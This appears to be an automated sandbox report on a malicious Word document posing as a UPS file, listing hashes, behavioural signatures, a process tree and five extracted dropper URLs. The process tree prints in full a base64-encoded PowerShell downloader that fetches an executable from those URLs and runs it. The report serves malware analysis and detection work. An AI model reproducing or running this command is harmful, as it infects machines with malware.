Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    27-05-2024 22:07

General

  • Target

    UPS-X7013FXI85.doc

  • Size

    166KB

  • MD5

    2ead130d4e6ff9f1e2f61888563b29c0

  • SHA1

    90ef697d3e1717af5a1659f4827452760ed1f120

  • SHA256

    9d638e393cf9c49ee287c8580b501b52b0db09aa60e03668d04c25f608d70a9c

  • SHA512

    561c7ccd015aba34dff29a41a635bda93831a32151f2836f3188a48f11e72f20493c063a7161a831e12294ff8658d548dc7ed9e02fdf4216dff1c60552ba6e57

  • SSDEEP

    3072:w77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qvIlc5hlPOwy7/FswxoLL5R:w77HUUUUUUUUUUUUUUUUUUUT52VJcPlv

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kompy.cba.pl/gif/lN_dl/

exe.dropper

http://fisiobianchini.com.br/wp-content/uploads/2016/05/S_U/

exe.dropper

http://dev.dimatech.org/wp-admin/Hu_jj/

exe.dropper

http://juangrela.com/admin/bB_m/

exe.dropper

http://coupedecheveux.org/yu71t1x/c_V/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\UPS-X7013FXI85.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABBAFoAQwBBAEQANABaAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEEAJwAsACcATABBADQARABBAEIAJwApADsAJABvAEEAQQBrAGMAdwBHAG8APQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgACgAJwBOAGUAdAAuAFcAZQBiAEMAbABpACcAKwAnAGUAbgAnACsAJwB0ACcAKQA7ACQAaQBrAEIAQgBDAEEAeAA9ACgAIgB7ADEAOQB9AHsAOQB9AHsANQB9AHsAMQB9AHsAMQA0AH0AewA3AH0AewAxADUAfQB7ADIAMgB9AHsAMQA3AH0AewAzADUAfQB7ADMAMgB9AHsAMQAxAH0AewAyADQAfQB7ADEANgB9AHsAMgA4AH0AewAyADYAfQB7ADMAMwB9AHsANgB9AHsAMgAxAH0AewAyADUAfQB7ADQAfQB7ADEAMgB9AHsAMgA3AH0AewAzAH0AewAxADAAfQB7ADMAMAB9AHsAMgB9AHsAOAB9AHsAMwA0AH0AewAxADgAfQB7ADMAMQB9AHsAMAB9AHsAMQAzAH0AewAyADAAfQB7ADIAOQB9AHsAMgAzAH0AIgAtAGYAIAAnAGUAZAAnACwAJwBrAG8AbQBwAHkALgAnACwAJwBjAG8AbQAvAGEAJwAsACcAOgAvAC8AJwAsACcAaQBtAGEAdABlAGMAaAAnACwAJwAvAC8AJwAsACcALwBTAF8AVQAvAEAAaAB0AHQAcAAnACwAJwAvAGcAaQBmACcALAAnAGQAbQBpACcALAAnAHAAOgAnACwAJwBqAHUAYQBuAGcAJwAsACcAbgAnACwAJwAuACcALAAnAGUAYwBoAGUAdgAnACwAJwBjAGIAYQAuAHAAbAAnACwAJwAvAGwATgAnACwAJwBoAGkAbgBpAC4AYwBvAG0AJwAsACcAbAAvACcALAAnAF8AbQAvAEAAaAB0AHQAcAA6ACcALAAnAGgAdAB0ACcALAAnAGUAdQB4AC4AbwByACcALAAnADoALwAvAGQAZQB2AC4AJwAsACcAXwBkACcALAAnAC8AeQB1ADcAMQB0ADEAeAAvAGMAXwBWAC8AJwAsACcAYwAnACwAJwBkACcALAAnAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvADIAJwAsACcAbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAHUAXwBqAGoALwBAAGgAdAB0AHAAJwAsACcALgBiAHIALwB3AHAALQBjACcALAAnAGcAJwAsACcAcgBlAGwAYQAuACcALAAnAC8ALwBjAG8AdQBwACcALAAnADoALwAvAGYAaQBzAGkAbwBiAGkAYQAnACwAJwAwADEANgAvADAANQAnACwAJwBuAC8AYgBCACcALAAnAEAAaAB0AHQAcAAnACkALgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAaQB0ACcALAAnAFMAcABsACcAKQAuAEkAbgB2AG8AawBlACgAJwBAACcAKQA7ACQAbwBBAFoAWABRAEEAQgAxAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBBAEMAJwAsACcAQQBBAEEAQQAnACwAJwBjACcAKQA7ACQARQBvAFUAeABRAG8AIAA9ACAAJwA2ADYAMAAnADsAJABvADQAVQBvADEARABaAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAEEARwBCACcALAAnAEEARABDAEEAJwAsACcAUQAnACkAOwAkAEwAWABEAEEAMQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAG8AVQB4AFEAbwArACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALgAnACwAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABSAF8AQQBfAEEARABBAFoAIABpAG4AIAAkAGkAawBCAEIAQwBBAHgAKQB7AHQAcgB5AHsAJABvAEEAQQBrAGMAdwBHAG8ALgAoACIAewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcAbABlACcALAAnAEQAbwB3ACcALAAnAGEAZABGAGkAJwAsACcAbgBsAG8AJwApAC4ASQBuAHYAbwBrAGUAKAAkAFIAXwBBAF8AQQBEAEEAWgAsACAAJABMAFgARABBADEAQQApADsAJABCAG8ARABHAHgAQQBBAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAEEAQQAnACwAJwBRAEEAWABBACcALAAnAEMAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEwAWABEAEEAMQBBACkALgAiAGwAZQBOAGAAZwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQATABYAEQAQQAxAEEAOwAkAHYAQQBVAEEAWgBBAEEAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAFoAVQBRADQAJwAsACcASABBADEAQQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAagB3AEMAQQBrAEEAXwBBAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBEADEAJwAsACcAQQBaACcALAAnAGgAQQBBACcAKQA7AA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      4c4920bccda39d3ff7d5817ca8581a0c

      SHA1

      642af635a4cd3761390651a91a38c70fc2fb0e77

      SHA256

      9edd3eb00dad5108782b504e89596e648f3411d6a3cfebbd2c936e1f8d6b3062

      SHA512

      09a0847cc5769157eb9b3b9dbd4c3d6b0392e6c780e7f92d10a8d4a0368bb789ff6acaadcc4999df0e1ff37408c161f9e86b5db21af2766f521797c9f212f33e

    • memory/1716-25-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1716-2-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

    • memory/1716-8-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1716-7-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1716-9-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/1716-24-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

    • memory/1716-0-0x000000002F391000-0x000000002F392000-memory.dmp

      Filesize

      4KB

    • memory/1716-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1716-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1716-42-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

    • memory/2716-15-0x000000001B700000-0x000000001B9E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2716-16-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

      Filesize

      32KB